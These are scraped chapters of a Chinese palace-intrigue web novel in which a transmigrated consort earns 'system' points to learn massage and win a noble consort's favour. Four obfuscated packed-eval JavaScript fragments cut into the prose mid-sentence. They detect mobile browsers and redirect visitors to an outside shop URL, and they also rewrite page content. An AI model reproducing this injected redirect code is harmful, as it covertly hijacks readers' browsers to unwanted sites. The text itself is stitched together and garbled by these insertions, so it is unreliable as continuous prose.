RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13034905|118187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了潜藏的含义,下位者不能给上位者惹麻烦,下位者要给上位者“省事”,最好是锥子扎在身上都不要吭气,无论是非对错。 张百年和喜答应一起跪在高贵妃脚下领训,张百年能感受到高贵妃在她和喜答应身上停留过一瞬的目光,那高高在上的审视,激得她浑身汗毛倒立。 她处在危险中,一个看似平常的巨大危险中。 张百年发现她做错了一些事情,原主万事都要忍的性格才是最有利于“裕常在”这个身份的。 高贵妃用过早膳,在内殿和心腹说话。 秋实说话更直些,她先开口说道:“现在看来,喜答应不省事,裕常在也没有原先老实了。幸亏她们都不中用,平时不得宠,就算是想作妖也作不起来。” 这话说到了高贵妃的心坎儿上,她点点头,转而看向秋华。 秋华说话更委婉,心细办事也细,对着自家娘娘不会说假话。“柳官女子也不大安分,其实这也正常,人又不是木头,多少会有自己的心思,只是在宫中还是那鲁直的人最好用。” 高贵妃对她的两个心腹宫女很满意,她们都说出了她想说的话,只是碍于身份地位,她对很多事都不能宣诸于口,哪怕是对着奴才们,她的心思也要让人猜度。 秋实继续说:“人有心思也行,但总不能变吧,喜答应一直都是个气性小爱挑事的,这咱们都知道,可那原本再老实不过的裕常在,自娘娘去了畅春园,就天天往外跑,和陈贵人交好,突然会吵架了,这岂不是件怪事,还是说,她从前都是装出来的老实,用来诓骗娘娘的。” 25. 工具人 高贵妃故作深沉,沉默半晌,才说:“我也不忍心直接把她们赶出去,再看看吧,等这阵子的事忙过去,我再从长计议。” 秋华赞:“娘娘思虑周全。” 秋实叹:“娘娘太心善了。” 后院里,西边住着的喜答应还没觉察出什么危险的气息,在她眼里,今儿和以往宫中的日子并没有什么不同,只是出了别人的笑话,够她和旁人说道好几日了。 金珠和宝珠跟着喜答应,也学了她的做派,天天和人说闲话,小道消息知道的特别全。 “那个姓戴的也真是作死,生就一副狐狸脸儿,眼睛也勾人,天天缠着万岁爷,真是不要脸。后来仗着宠爱,在御前失仪,还以为能继续迷惑皇上呢,但咱们皇上英明神武,哪会容许她胡来,直接给她处罚了,再没见过她。” 喜答应磕着瓜子,关上屋门也没有那么多的忌讳,压低声音和自家宫女聊得是眉飞色舞的。 “就这种眉眼带着钩子的小浪蹄子,自然是不安分,成天哭天抹泪的,就盼着再去勾引皇上,要不是纯妃娘娘有成算,把这人给拦住了,指不定后来要怎么样呢。” 金珠从别人那里听到过更带劲的说法,她把声音压到最小声:“戴官女子从前那么得宠,要是这回真生下皇子来,岂不是要威胁纯妃娘娘和三皇子的地位啦!所以啊,纯妃娘娘的身边人早几日就发现了戴官女子的异常,报给了纯妃娘娘,纯妃娘娘也装糊涂,就让戴官女子闹,甚至还放消息刺激她闹,结果大家也都看到了,纯妃娘娘也就得个照管不利的惩罚,不痛不痒的,却解决了心腹大患。” 宝珠又说:“这也是戴官女子的报应,我听膳房的人说,她从前得宠时最难伺候了,总说膳房当差不用心,送的菜不好吃。膳房管事也不想得罪一个得宠的人,只好忍气吞声,问这位想吃什么,结果这位也不说,只等那管事主动去问。你们猜怎么着,这管事问了一大套,戴官女子是这也不吃那也不吃,真是气煞人也。” 喜答应爱听这话,她不得宠,就看不了别人得宠,尤其是和她同样出身的人,她看着了就觉得刺眼。 “可不是嘛,她这人总找机会苛责别人,还不守妇道,这下小了产又被赶出了景仁宫,就是现世报啊!” 东配殿里,张百年坐在西次间,沉思苦想,她觉得再这样下去,兴许这钟粹宫她都没资格再待下去了。 在贵妃娘娘宫里住着,好处很多,她必须扒住了这个大腿。 要是她之前能忍住了就好了,她果然是太轻率了,以为自己占理稍微吵两句再躲出去就行,等高贵妃回来也不会怪罪她,毕竟是喜答应挑事再先。 可她却没有料到,上位者的看法很简单粗暴,只看底下人省不省事,好不好用。 她想要留下来也很简单,变成既省事又好用的工具人就可以了。 在人与人的交往中,往往只有功能性的交换,这在古代后宫很普遍,在现代社会也不少。 张百年安慰自己,别人把她当工具不要紧,她自己把自己当个人就行了,今天下的跪服的软,也是为了来日的昂首挺胸。 她暗想道:百年啊百年,想想妈妈爸爸给你起这名字的寓意,就是希望你能健健康康、平平安安、快快乐乐地活过一百年,你可千万不要辜负了他们的期许,无论在哪个时空,都要过上好日子,过上一百年。 张百年再次振作起精神,想起对策。 她不可能变回和原主一样的性格,这样就不是高贵妃最喜欢的省事模样,她只能增加自身的功能性,快点把按摩技术都学到手,再找个合适的机会给高贵妃效力,不过以后还是要更谨言慎行些。 说来说去,她还是要靠系统,靠攒积分兑换东西来过活。 张百年左等右等,焦急得不行,总算是等到了晚上请安的时候,迫不及待去前院等着贵妃出来,再一起往长春宫走去。 走在宫道上,高贵妃肩與走在前面,喜答应在后边偷偷瞪着张百年,就因为张百年刚才出来得早,连累得也要早出来,慌慌张张的,连胭脂都没点好。 张百年一心想着任务和积分,完全没注意到喜答应的眼神。 富察皇后在宝座上含笑看着给她请安的各位妃嫔,叫起后又说起了明儿个过端午节的安排。 “最近许多地方下了冰雹,百姓们遭了灾,皇上和太后娘娘忧心不已,特地交待下来,这次的端午节要俭省着过。” 满族人很看重端午节,就算是俭省着过,天家的气派也是不同凡响,需要安排的事项着实不少,很能让富察皇后忙上几天,所以这天晚上的请安散得很快。 再快也要个一盏茶的功夫,张百年终于攒够了二十积分! 她压制住激动的心,面色如常地跟着高贵妃回宫,半句话都不肯多说,规规矩矩地半垂着头。 等回到自己的卧房里,张百年让宫女都在外间伺候,她郑重其事地打开系统光屏,先双手合十祈祷两句,再把商城从头至尾地看了一遍,最后才审慎地确认了购买。 登时,商城页面发生了变化,按摩技能书先变亮再变灰,系统提示技能书已发放至背包,请用户查收。 张百年立刻把页面调转至背包,用意识来点击技能书。 光屏一下子被填满了,都是按摩课程名称的目录,张百年从头拉到尾,发现有一百多节。 张百年扶着脑门,感觉很方,这要学到什么时候去啊,她现在最缺少的就是时间了。 张百年集中精神向系统发出真诚恳切地询问——她能不能退货,把这来之不易的二十点换成容貌点。 系统没有搭理她。 张百年也不奇怪,只能认命地叹气,不再浪费任何时间,点开第一节课,开始认真看专心学。 一直到了用晚点的时候,双喜在房门外问自家小主用不用膳,张百年敷衍地答应一声,坐在饭桌上随意吃两口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13034906|118187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一边吃还在一边看,非常不健康。 之后就是早早上床,继续学课,看到晚上十点才没办法选择睡觉,毕竟她起床的时间早,明儿就是端午节这样的大日子,宫里面的庆典活动她也要待在末尾做个规矩的装饰品。 第二天,比平常起床的时间还要早一些,张百年就困倦地坐起身来,用温水洗过脸,她的眼睛才算是勉强睁开了。 大节日,妃嫔们照例是要隆重打扮的,像是嫔位以上的娘娘们都是有吉服穿的,贵人常在答应们只有便服可穿,剩下的官女子们压根就没有参与节日庆典的资格。 就算是穿便服,装扮起来也要破费一番力气和心思,早半个月里张百年就在宫女的提醒下安排好了这次的衣服头面和发髻。 到了现在,张百年只用出个人坐好,等着双乐和双福来服务。 这种空闲时间,张百年自然不肯放过了,她立即点开课程视频,继续抓紧学习,争取早日学会这门手艺,成为技术型人才妃嫔,为后宫的建设添砖加瓦。 收拾停当后,张百年最后佩戴上五毒香袋,这是高贵妃赏下来的。 端午节这种大日子,富察皇后自然是要带着整个后宫去给太后娘娘请安了,乾隆帝也从养心殿过来给太后请安,一时间寿康宫成为了整个皇宫最热闹的地方所在。 张百年不敢在这种时候溜号,就算她再着急,也要耳听八方,时刻关注后宫动向。 皇帝和皇后向太后敬献他们宫里做出来的粽子,太后也要赏赐寿康宫做出来的粽子。 太后笑道:“你们都多吃几个粽子,粽子就是众子嘛,多吉利,你们赶紧多沾沾福气。” 帝后二人自然要顺着太后的话说,接下来贵妃纯妃也接力捧着往下聊。 乾隆帝公务繁忙,要忙着公务,等到了时辰还要去前朝给大臣们赐粽,自然不能在寿康宫久留,坐坐就走了。 张百年看着任务一后面的累积时长,感觉任重而道远,还是皇后这边刷得最快,心中不由得更喜欢漂亮温柔的皇后娘娘了。 看完任务栏,她又顺带手看了一眼商城,一下子愣住了。 商品还是那些商品,只是底下的标价变了——所有的价格都翻了倍! 张百年不信邪,又把页面切换回任务栏,看任务奖励的积分没有任何变化,再调到商城里,还没兑换的健康点容貌点技能书,标价通通都变成了四十积分。 张百年绷着脸在内心崩溃,疯狂问候系统,可惜没有得到任何回应。 靠!张百年真的要骂脏话了,特别脏的那种。 没天理没人性啊,这和恶性通货膨胀有什么区别,简直就是在抢钱。 张百年在心里默默输出一道,从寿康宫到钟粹宫,最后还是只能捏着鼻子继续看课。 她刚看完半节课,前院那边就热闹了起来,春燕和春雨快步走到后院,叫所有人都去前院,说是皇上的端午赏赐到了。 26. 学有小成 这也是宫里的惯例了,张百年早几天就听到底下人的讨论,她也从原主的记忆里仔细翻找,掌握了大致的情况。 宫外的大臣要在端午节时给宫里的皇上送节礼,皇上也要赏赐大臣,能得到的赏赐的大臣都算得上是在皇上这里能记住的。 至于后宫妃嫔,都是皇上的女人,赏赐的标准就没有这么苛刻了,只要是有名分的妃嫔,多少都能收到些赏赐。 高贵妃那边忙着,张百年也是赶着收拾好自己,来到前院,站在高贵妃身后,等着养心殿的人来送赏。 养心殿来的人对着高贵妃很是客气,又说了不少好话,高贵妃也会做人,给了他们不少的赏。 钟粹宫的管事太监把养心殿的太监送出了大门,又去打听了别的宫里的情况,回来禀报给自家娘娘。 张百年带着她得到的赏赐回了后院的住所,左不过就是些香囊团扇之类的东西,收好留着用,并不能当钱使。 张百年想起匣子里剩下来的钱,就要发愁,宫里的花销大,她必须要更俭省些,还要准备出精美的刺绣,以备打赏送礼时用。 可她现在没时间,还是学按摩技能最要紧,实在不行她就只能拿积分先换银子应急来用。她的时间更值钱。 张百年交待双乐,让双乐带着双福和双喜多做点针线活,最近她脖子不太舒服,没办法低头刺绣。 双乐应了下来,又关心了自家常在,心里盘算着怎么把这差事办得更好。 张百年随口鼓励了一句:“这事交给你,我就放心了,我这边也不用你们伺候,你们就专心做绣活吧。” 双乐斗志昂扬地去找双福双喜分派任务,张百年窝在卧房里专心学课。 在生存压力面前,张百年展现出了空前绝后的学习劲头,天天除了出去请安和在高贵妃跟前献殷勤,几乎就没有停下来休息过,吃饭上厕所的一点点时间也不放过。 中间仅有一次,张百年掐着时间去了御花园,特意偶遇陈贵人,和她说了自己这边有些忙,最近一两个月可能不会再来御花园散步了。 陈贵人最是善解人意,没有问什么,只嘱咐张百年要好好保养身子,等忙过了这阵子,再一起出来散步。 张百年恋恋不舍地和陈贵人告了别,回到看起来很尊贵富丽的钟粹宫,继续在沉闷的屋里奋斗。 一个半月后,张百年终于看完了挑选出来的主体课程,也算是小有所成,开始找机会进行实践。 这事不能张扬,实践的对象自然只能找她的三个宫女。 双乐之前就教过她一点按摩技巧,也偷偷地让她练手,保密得非常好。 张百年现在也转换了一些思考方式,毕竟是在后宫里,她现在不能总讲现代的那一套,还是要有领导思维。 所以,她趁着双福单独在夜里伺候她的时候,也和双福讲了她苦练按摩手法的“秘密”,叮嘱双福不要和任何人讲,以后单独来值夜的时候就给她练手。 双福很激动,小主和她说了秘密,这代表她已经是小主最信任的心腹了,她压过双乐的地位指日可待! 双福使劲点头,眼睛闪闪发亮。 当晚,张百年就给双福来了个全身按摩。 自打出生落地起,双福哪里享受过这种待遇!她在家里时也是要伺候父母长辈的,平时还要洗洗涮涮学规矩,成天都要劳累。 刚开始时,双福不敢躺在自家小主的床上,还是张百年连拉带拽,又小声说着道理,双福才勉强躺着。 她浑身都不自在,这可是罔顾了上下尊卑,犯宫规的大错。 屋里一只蜡烛都没有点,只有外间有一点亮,张百年把系统光屏调到最亮,把她学富五车的手按在双福身上的穴位,掌握力度地揉揉捏捏。 张百年这一个半月的课没有白上,手法初成,逐渐把双福身上紧绷的肌肉都揉松了。 双福真想舒服得叹气,但她精神还绷着,万不敢在深宫的夜里发出半点不应该出现的声音。 她紧抿着嘴,激动又害怕地享受着从未享受过的舒服,只有在小主问她感受的时候,才敢特别小声地回复一两个词。 张百年把心神都放在手上,找穴位,换不同的力度,注意着手下人的反应,及时换按摩的手法和力度。 从头到颈再到肩膀、后背和手臂,接下来是腰和大腿小腿,按完自然就是脚了。 这时,双福坐了起来,缩回脚踏上,急急地对小主说:“这可使不得,奴婢的一双臭脚可不能沾上小主的玉手,这太不合规矩了!” “这有什么的,我不说,你不说,谁能知道,乖啦,继续躺好。”张百年柔声劝说,又想把双福推倒躺好。 双福的脑袋摇成了拨浪鼓,把脚压在大退下,跪坐在脚踏上,说什么都不肯回床上躺着。“好小主,今儿就到这吧,您看您都累得出汗了,下次我们再练,好不好?” 张百年继续柔声哄着:“哎呀,足疗可舒服了,你快点配合我躺好,我给你好好按,可解乏了,你都站一天了,按完脚浑身都舒服呢!” 双福还想挣扎:“小主,奴婢这脚在鞋里捂了一天了,又脏又有味,没看奴婢躺着都不敢拖鞋,只是这么横着躺把脚放在床沿外,求求您了,您就别让奴婢脱鞋了。” 张百年其实也不想给别人按脚,只是为了生存,没办法只能多练。“我又不嫌弃你,你就脱吧,练完我再洗手就是了。” 双福急得快哭了,“小主,下次吧,行不行?下次值夜的时候,我一定提前把脚洗得干干净净的,再让您练手。” 张百年看双福这个小可怜的模样,才作罢,只让双福坐在椅子上,配合她站着练习按摩头和肩膀。 双福松了一大口气,乖乖坐好配合着演练。 到了第二天夜里,该是双喜来值夜了,张百年又来了同样的一套。 就这么在夜里练了半个月,张百年的按摩技术日臻精进,这在系统面板上也有体现,按摩技能旁边还有个熟练度,方便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13034907|118187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张百年估量自己的本事。 这时候已经到了农历七月,刚过处暑,天气还热得很。 高贵妃最不爱过暑热的时节,就算是有冰解热也不行,一到下午就昏沉沉的。 今年更是难过,这天热得邪乎,比往年都闷,皇上还忙于朝政,根本没有闲心带着后宫去圆明园或畅春园消暑。 热来热去的,高贵妃就热出了点小病,太医来看过,皇后也体恤她,派身边的人来看她赏下补品,又体恤地免了她这几天的请安。 高贵妃身上不舒服,连带着钟粹宫上下都不敢舒服。 小妃嫔们要给主位娘娘侍疾,虽然高贵妃懒得见人,她们也要争着表现,一天三遍地去请安问候。 张百年现在练得可以了,就想着找机会给高贵妃按摩,可她心里也打鼓,怕高贵妃不受用,病中脾气又不好,再罚她。 可是到了现在,张百年也没有路可退,只能冒险一试。 这天上午,高贵妃终于让小妃嫔们进了内室请安,高贵妃说到了她头晕这茬,张百年抓住这话头,赶紧说她会按摩,想给贵妃娘娘按按。 高贵妃看张百年她们,也就是当伺候人的看,听张百年这么说,也就点了头。 张百年跪在贵妃床前的脚踏上,先笑着给贵妃按摩手指手心:“娘娘,奴婢不敢轻易给您按摩头,你先试试奴婢的手法,要是舒服顶用的话,奴婢再给您按摩头。” 高贵妃享受着按摩,感觉挺舒服的,就笑道:“你还挺周全的,本宫看你这心意就觉得该赏你了,秋华,去把我新得的那对手镯拿来,赏给裕常在。” 系统出品,张百年刻苦练习的按摩手法,果然得到了高贵妃的肯定。 当晚,张百年被高贵妃叫到寝殿内,跪在床边,一直轻柔地按着头,直到高贵妃睡熟。 秋华一直在旁边守着,看自家娘娘睡稳了,才对裕常在打手势,让裕常在和她一起退出去。 张百年的腿和脚都跪木了,她缓缓地起来,不敢发出半点声响,慢慢出了高贵妃的卧房。 秋华把她送到寝殿门口,小声说:“常在肯定累了,您回去好好歇着吧,娘娘心里记着您的好儿呢。” 张百年笑着客气道:“能为娘娘效劳,这点算什么,娘娘待我有大恩,尽心伺候都是我的本分呢。” 秋华对她笑笑,两人道了别,张百年这才回了自己的东配殿。 关上门,张百年才敢揉膝盖揉手腕,这给娘娘按摩可真是一件累人的差事,只希望以后按摩的时候可以少跪一点。 双乐扶着她躺到床上,又去拿来热手巾给她敷手腕和膝盖。 张百年舒服地叹口气,双乐跪在脚踏上给她按摩小腿和脚心。 大鱼吃小鱼,小鱼吃虾米。宫里就是这样,一层压着一层,下一层的都要拼命巴结伺候上一层。 张百年不想这样,也只能在自己的卧房里自由行事。“你坐在床上给我按吧,别跪着了,我看着都替你疼。” 27. 争宠好难 张百年的按摩手艺受到了高贵妃的肯定。 这对于裕常在而言,应当是一件大喜事,张百年也是这么想的,但她并没有感受到多少喜悦的心情。 究其根本,大概是因为娘娘不是那么好伺候的,而张百年本人并没有真正地伺候过人,她只是在原主的记忆里看过怎么当个伺候人的奴婢。 张百年现在常常要出入高贵妃的内殿卧房,高贵妃的身子时常不爽利,不是腰酸就是背痛,有时还会头晕腿乏,这时候就要张百年来小心伺候了。 这种伺候的时候,张百年根本就没有坐下来歇息的机会,不是立着就是跪着,一按就是半个时辰打底,还上不封顶,她的脚和膝盖都有些顶不住了。 张百年哪里吃过这种苦,可她现在落到了这里,一个真心对她好的亲人朋友都没有,她也只能咬牙挺住把生活过下去,毕竟还有人在嫉妒她现在的小日子呢。 喜答应现在看到裕常在就觉得牙疼,因为她看裕常在巴结贵妃成功了,就气得咬牙切齿,时间一长,牙可不就疼了起来。 柳官女子和尼官女子应该也在嫉妒或是羡慕着张百年,能凭着本事在贵妃跟前露脸,钟粹宫里谁人不这么巴望着。 张百年的辛苦确实也得到了回报,高贵妃没事就要赏她点东西,什么古玩摆设、绫罗绸缎、金簪玉钗、茶叶熏香的,高贵妃用不上的就会赏给她,钟粹宫小厨房里的好菜也有了她的份儿。 最初的半个月最难熬,后来张百年就有点适应这种工作强度了,和高贵妃也熟了点,在按摩时也能陪着高贵妃随意聊上几句。 张百年有了精力就开始想自己的事,她趁着机会,在高贵妃面前表了白,说她三月时大病了一场,几乎要挺不住了,生死之间想了许多,才发现自己有许多遗憾,病好了之后就尝试了几种新玩意。 高贵妃睁开眼看了她一眼,才笑问:“你尝试的怎么样了,可喜欢?” 张百年笑着回答:“人是不能违背天性的,奴婢这人性子就这样,没有多少本事,还是安安稳稳地生活最适合奴婢了,奴婢之前尝试的新玩意大部分都不大适合,只有几样还行。” 高贵妃继续眯眼享受着按摩,对张百年的回答没有做出评价,张百年只能闭嘴继续干活,心里还在忐忑着,不知道这几句话的解释能不能让高贵妃忽视之前发生的事,对她更满意些。 奴性大概就是这么培训出来的,上位者什么都不说,下位者成天战战兢兢如履薄冰的,一点办法都没有。 七月末发生了几件小事,都是下位者料不到的变故。 头一件事与张百年息息相关。高贵妃抬举了尼官女子,尼官女子浇了好运,皇上封她为吉答应。 这事挺让钟粹宫众人纳闷的,毕竟单论起容貌来,这位新出炉的吉答应是比不上柳官女子的,更不用说裕常在了。 这位吉答应也是个没甚本事的人,每天就是吃饱了睡睡饱了吃的货,平时也不见她巴结人,怎么这一下子就入了皇上和贵妃的眼了。 喜答应和柳官女子心里狠得不行,都在想这个尼佳氏真是可恶,平时装的好,让她们看走了眼,竟然能扮猪吃老虎,一跃成了吉答应。 其他人大概也是这么想的,对这位吉答应也开始“另眼相待”了。 高贵妃重新安排了小妃嫔们的住处,她让吉答应搬到喜答应的西配殿,两人合着住。 这下子,喜答应的怨气更大了。 可她也不敢在外面表现出来,只能把西间腾出来给吉答应住,独自一个在东间里闷着生气。 现在她在屋里都不敢和宫女说闲话了,两人共用一个明间(客厅),就相当于五十多平的房子,一室两厅,没卫生间,还要合租,特别不隔音,更没有什么隐私。 吉答应就不是个多事的人,她两耳一闭,不管外面人怎么议论她,对喜答应的冷言酸语也当听不见,天天除了请安就是在她的小卧房里窝着。 张百年看吉答应这样,仿佛看到了原主张巧儿从前的样子,也不知道这个姑娘在宫墙内能有个什么结局。 第二件事在后宫里也不算稀奇,苏州织造在当地寻了不少美女,又是优中选优,这回向乾隆帝献了五位美人。 宫中一直不缺少自江南来的美人,现在最得宠的白贵人就是这么入宫的。 这五位美人入宫前后的经历按下不表,但正式入了皇帝后宫的只剩下了两位,一位是陆常在,一位是吴常在。 张百年在给皇后请安时第一次见到了这两位新入宫的妃嫔,在心里直唾弃万恶的封建帝制。 这两个体态娇小的妃嫔还是初中生的年纪,嫩白的鹅蛋小脸,一双大眼睛怯生生的,规矩十分周全。 这时候十三四岁娶亲嫁人都算正常,真拖到十八九那都是“剩男剩女”了。 张百年知道这些,可她还是忍不住在心里吐槽乾隆帝,一个快三十岁的男人,没事就纳十三四岁的小姑娘,真是老牛吃嫩草,真真是造孽啊! 殿内其他妃嫔都是笑盈盈地看着新人,打量着掂量着盘算着,有的觉得无所谓,有的打心里就不喜欢新人。 张百年配合大家也端出个笑模样,可她心中却在怜惜新人,虽然这怜惜压根就没用也不值钱。 倘若张百年的怜惜被喜答应知道了,喜答应一定会狠狠地嘲笑张百年一番,说张百年算是哪个排面上的人,有资格同情人家嘛!人家一进宫就被封了常在,再看看吴常在和林常在身上穿的头上戴的,一看就是有家底的人。 苏州织造不愧为皇帝的心腹,送上来的美人挺对乾隆帝的口味,吴常在最近常被召幸,虽然还比不上白贵人得宠,但也算是补上了嘉嫔有孕后空出来的宠爱。 另一位林常在过得也不差,只不过她年纪更小一点,性子也不那么出挑,所以不算太得宠。 请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13034908|118187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安时,张百年看到吴常在的穿戴装扮一日比一日更光鲜了,心里也有点羡慕,毕竟她天天跪着伺候高贵妃也只能得到容身立锥之地,完全看不到前程。 说起来,张百年的穿戴也越来越好了,虽然不像得宠的吴常在那么光鲜亮丽,但也挺体面的。 这都是高贵妃赏赐的功劳,张百年鞍前马后的伺候还是有些回报的,只是不知为何,高贵妃没有再抬举她,反而去抬举了吉答应。 张百年很想“睡皇帝”。 这是穿越成后宫妃嫔很现实的生活需求,张百年从来不再这点上扭捏清高。 原主张巧儿在这点上做的就不错,高贵妃也肯提携她,好的时候每月都能被翻一次牌子,不好的时候也能两三个月捞到一次侍寝的机会。 可换到张百年就不行了,从三月初到七月末,整整四个月,一次接近皇帝的机会都没有摸到,高贵妃也不再给她机会了,反而抬举了吉答应。 如何才能睡到皇帝呢? 怎么才能得到高贵妃的欢心,让高贵妃对她放心,再抬举她一回? 张百年想了又想,也没想出什么好办法,毕竟这里是真正的后宫,规矩森严的后宫,想要去御花园偶遇皇帝是不太可能的,皇帝皇后这种等级的人出门都有太监提前出来清场,根本偶遇不到。 皇帝已经忘了她这个裕常在了,她只能靠高贵妃的抬举了,所以这按摩还得继续练。 八月初一,这天后宫妃嫔照例是要跟着皇后娘娘去寿康宫给崇庆皇太后请安。 因为是请安的大日子,张百年这天醒得格外早,吃了个煮鸡蛋垫肚子,又小口抿着温水润润喉,再最后方便一次,才穿戴好绸缎宫装,准备去正殿候着。 后宫众人都有默契,每月的初一十五都是要早起的,没有一个人敢掉队。 高贵妃出门坐上肩與,张百年、喜答应和吉答应依次跟着,走到半路,正好碰到了纯妃的队伍。 纯妃停在一边,和高贵妃打了招呼,高贵妃邀她同行。 纯妃的肩與稍稍落后一步,跟在高贵妃的肩與一侧,方便两妃说话。 纯妃宫里的小妃嫔也跟着队伍走,打头的就是海贵人。 张百年对她笑笑,稍稍落后半步,看到了海贵人今天的装扮,一身浅绿色四季花卉百花蝶纹缎宫装,配着几朵精巧小珠花,在这暑气还未消散的初秋时节很是相称。 这身漂亮的衣饰,看得张百年很是羡慕,尤其是那袍子上的精美刺绣,石榴花、海棠花、桃花、莲花、菊花、梅花,交相辉映,彩蝶飞舞其中,纹样构图错落有致,绣工精细,这种程度刺绣精美的宫装非一般宫妃可得。 张百年想,这海贵人大概是从几个月前就开始准备了,就想着什么时候穿出来给皇上看呢。 今天确实是个好时候,乾隆帝是个孝顺的好儿子,时常来给太后请安,初一的大日子肯定不会落下。 28. 小虾米的日常 张百年看看海贵人的衣裙,再偷偷看眼自己的,觉得被比下去了。她也没有气馁,反正她是不敢在高贵妃的眼皮子底下打扮得太出挑,她可不像海贵人是潜邸出来的,有底气打扮争宠。 更何况,她的容貌在妃嫔里只能算是平平,再打扮也打扮不成天仙,她现在不适合这个争宠的法子。 张百年脑袋里乱七八糟地想了不少,喜答应更是个眼睛尖心思多的,想得自然更多了许多。 可她们都是小虾米,想什么都没用,只能干看着别人行动。 后妃们到了寿康宫刚请过安,乾隆帝就过来了。 他先关心地问候母后几句,再看看自己温柔贤惠的皇后,很满意,再与皇后贵妃闲谈两句,接着向下环视一圈,看看他后宫的莺莺燕燕,心情大好。 这时,他在妃嫔堆里瞥到了一抹清新淡雅的绿意,定睛一看,发现是眉目含笑的海贵人,便会心一笑。 富察皇后和高贵妃都顺着皇上目光再看,也发现了特意打扮的海贵人,都知道这是什么戏码。 果然,晚膳后乾隆帝宣了海贵人过去侍寝。 刚黑天,高贵妃身边的小宫女就过来喊张百年去伺候。 张百年早就准备好了,连衣裳都不用换,穿着好干活的素净便袍和软底缎鞋就过去了。 进了内殿,就看到高贵妃歪在榻上,高贵妃身上穿着八成新的藕荷色石榴花纹缎绣衬衣,头发半松着,手腕子上戴着一对温润的羊脂白玉镯,正支着胳膊懒懒地听春兰读话本子。 她看到张百年进来,让人拿来一个小杌子,放到她脚边。 张百年进来先福身请安,因为是常来常往的,所以也不讲究太多,熟门熟路地坐到小杌子上,替高贵妃脱下浅杏色绣缠枝石榴纹的锦袜,捧着娘娘的玉足恰到好处地按着揉着。 长夜无聊,听着话本子打发时间,高贵妃还评论起了这故事中的女主角:“痴情人遇薄情郎,她命数也不好,唉,遇人不淑啊。” 张百年默默听着高贵妃和秋华的对话,只觉得遇人不淑这个词就是女性特供版的受害者有罪论。 高贵妃感叹过后,还问张百年有何感想。张百年腼腆笑道:“娘娘说得对,这人啊还是要警醒些,不能罔顾了父母亲人的教诲,偏往那小道上去走。” 张百年不是个会奉承的人,原主本身也是个话少的人,所以到了高贵妃身边伺候时,她也不多话,多数时候都是默默干活,只有贵妃问她时她才回话。 张百年这样谨慎行事,倒是合了高贵妃的意,她本身就不喜欢油嘴滑舌的奴才,叽叽喳喳的扰她清静,又爱挑事惹事,只有少说话多干活的奴才最好用。 张百年不知道高贵妃心里在想什么,她只是专心地按摩,等到高贵妃睡下,她才能回去休息。 回到东配殿,张百年肚子里直发空,好在双福有准备,在茶炉子上温着红枣汤,又煮了两个鸡蛋,还有晚点时留出来的一盘子芸豆卷。 按摩是个体力活,张百年现在时常要吃夜宵,胃口也比从前好了,身上长了一点肌肉,手上也有劲了,反应到系统面板就是健康值高了几点,这倒是个意外之喜了。 临睡前,张百年还要让身边的宫女给她打热水泡手泡脚,再来给她用香膏按摩。 好不容易折腾完了,张百年倒头边睡,累得连梦都没有,一觉睡到天亮时。 到了起床的时辰,张百年不用宫女来提醒,她直接清醒了过来,连赖床的心思都没有,像个机器人一样起床洗漱,规行矩步。 今天和昨天也没有多少区别。 张百年看着铜镜中清秀年轻的面庞,努力微笑,在心里哼着欢快的流行歌曲,再想想从前有趣的事,把无聊赶走。 今天是八月初二,妃嫔们只用去皇后处请安。 八月十三是万寿节,八月十五是中秋节,都是需要隆重庆祝的大日子,宫中上下早就忙碌了起来。 富察皇后掌管后宫,自然更是没有闲工夫,可她还是能做到面面俱到。 请安时,富察皇后还在关心嘉嫔的身子,嘉嫔这时已经显怀,肚子圆溜溜的,面庞也是红润润的,一看就是养得很好。 “妃嫔遇喜,娘家亲人眷准一人进宫照看,这都是规矩,本宫想着你也许久没见过家人,就向太后和皇上禀报了,让你的家人早些入宫陪你,等中秋节过完,正好方便你家里人进来,你可欢喜?” 什么赏赐的,嘉嫔都不缺,只有亲人入宫相见这种事难办,她闻听这个大恩典,立刻欢喜着起身,再三谢恩。 满殿的妃嫔听到这恩典,心中大多不是滋味,看着嘉嫔那双身子都眼热。 众人从长春宫退出来,还能听到纯妃在说嘉嫔的运道好,说她生三皇子时没赶上,真是羡慕嘉嫔妹妹云云。 这话多少带 